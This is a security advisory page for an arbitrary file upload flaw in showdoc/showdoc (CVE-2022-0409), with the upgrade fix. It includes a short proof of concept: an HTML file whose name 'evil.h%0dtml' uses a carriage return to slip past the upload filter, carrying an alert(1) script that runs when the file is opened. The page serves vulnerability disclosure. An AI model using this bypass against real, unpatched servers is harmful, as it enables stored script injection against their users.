Arbitrary File Upload Affecting showdoc/showdoc package, versions <2.10.4


Severity

Recommended
0.0
low
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.08% (36th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary File Upload vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-SHOWDOCSHOWDOC-2407254
  • published20 Feb 2022
  • disclosed20 Feb 2022
  • creditKhanhCM

Introduced: 20 Feb 2022

CVE-2022-0409  (opens in a new tab)
CWE-434  (opens in a new tab)

How to fix?

Upgrade showdoc/showdoc to version 2.10.4 or higher.

Overview

showdoc/showdoc is a tool for an IT team to share documents online.

Affected versions of this package are vulnerable to Arbitrary File Upload via bypassing the protection in place using a %0d (carriage return) character in the file name (i.e evil.h%0dtml).

PoC

  1. Create malicious file named evil.h%0dtml.
html
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <meta name="viewport" content="width=device-width, initial-scale=1"/>
    <title>Test Upload File</title>
</head>
<body>
    <h1>Test upload</h1>
    <script>alert(1)</script>
</body>
</html>
  1. Upload the file using the File Library (https://www.showdoc.com.cn/attachment/index).

  2. Click the check button to open the file in a new tab, and watch the payload (alert(1)) execute.

References

CVSS Scores

version 3.1